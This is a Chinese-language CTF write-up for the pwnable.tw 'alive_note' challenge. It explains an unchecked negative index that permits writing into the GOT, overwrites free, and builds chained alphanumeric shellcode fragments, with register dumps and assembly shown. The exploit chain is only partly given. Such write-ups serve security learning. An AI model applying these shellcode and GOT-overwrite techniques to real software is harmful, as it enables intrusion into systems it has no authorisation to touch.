• 【pwnable.tw】 alive_note


    突然发现已经两个月没写过WP了,愧疚- -...

    此题也算一道分数很高的题目,主要考察Shellcode的编写。

    又是一道题目逻辑很简单的题。

    首先提供了三个函数

    查看,删除,添加

    查看函数:

    此函数中readint()使用atoi进行解析,没有检查小于0的情况,造成越解读,可以泄露libc地址(然并卵)

    添加函数中一样有这个问题,并且可以任意写,

    显然是一道覆盖got表的题,并且没有开启NX保护,就是可以写shellcode。

    查看一下check函数

    不太清楚__ctype_b_loc是什么check,不过可以fuzz一下。

    发现只有如下这些是可以输入的

    '''
    0x0 0x20 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x41 0x42 0x43 
    0x44 0x45 0x46 0x47 0x48 0x49 0x4a 0x4b 0x4c 0x4d 0x4e 0x4f 0x50 0x51 0x52 
    0x53 0x54 0x55 0x56 0x57 0x58 0x59 0x5a 0x61 0x62 0x63 0x64 0x65 0x66 0x67 
    0x68 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f 0x70 0x71 0x72 0x73 0x74 0x75 0x76 
    0x77 0x78 0x79 0x7a
    
    x00   0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R 
    S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z
    '''
    

    而这些机器码构成的汇编就可以做很多事情了,比如参考这个文档给出的汇编指令对应关系

    https://wenku.baidu.com/view/bf5227ecaeaad1f346933f86.html

    作为其他的限制,shellcode每块不许超过8字节,并且使用strdup建立堆块,也就是说不能有x00。

    根据堆的分配机制,每个堆块分配的大小应该是16字节,并且是连续的,因此可以shellcode链的方法进行跳转,比如使用JNE语句等。

    选择覆盖的函数使用free函数,在delete函数时触发,原因是此时在寄存器里会有堆块相关的值。

    此时调用free函数时,寄存器的值为:

    eax            0x811f018	0x811f018   ;堆块地址
    ecx            0x0	0x0
    edx            0x0	0x0
    ebx            0x0	0x0
    esp            0xffd9597c	0xffd9597c
    ebp            0xffd959a8	0xffd959a8
    esi            0xf76b7000	0xf76b7000
    edi            0xf76b7000	0xf76b7000
    eip            0x80484e0	0x80484e0 <free@plt>
    eflags         0x296	[ PF AF SF IF ]
    cs             0x23	0x23
    ss             0x2b	0x2b
    ds             0x2b	0x2b
    es             0x2b	0x2b
    fs             0x0	0x0
    gs             0x63	0x63
    

     以此寄存器的值构造shellcode,shellcode块之间使用3个小块填充即可

    '''
    read(0,heap,size)
    shellcode 1
    push eax  ;P  eax=heap
    pop ecx   ;Y   
    push ebx  ;S
    pop eax   ;X
    push 0x7a ;jz
    jnz 0x38  ;u8
    eax = 0  ebx = 0 ecx = heap edx = 0
    shellcode 2 
    pop edx   ;Z
    dec eax  ;H
    xor byte ptr[ecx+0x46],al ;0a5
    jnz 0x39
    shellcode 3
    xor al,0x33  ;4c
    xor byte ptr[ecx+0x47],al ;0a5
    jnz 0x39
    shellcode 4
    push 0x33    ;j3
    pop eax      ;X
    xor al,0x30  ;40
    
    '''+'2L'
  • 相关阅读:
    DFA最小化,语法分析初步
    第八次——非确定的自动机NFA确定化为DFA
    正规式到正规文法与自动机
    正规文法与正规式
    词法分析程序的设计与实现
    4.文法和语言总结与梳理
    第一次博客作业
    欧几里得算法
    更项减损术
    南京航空航天大学戴华《矩阵论》习题答案
  • 原文地址:https://www.cnblogs.com/p4nda/p/7992951.html
Copyright © 2020-2023  润新知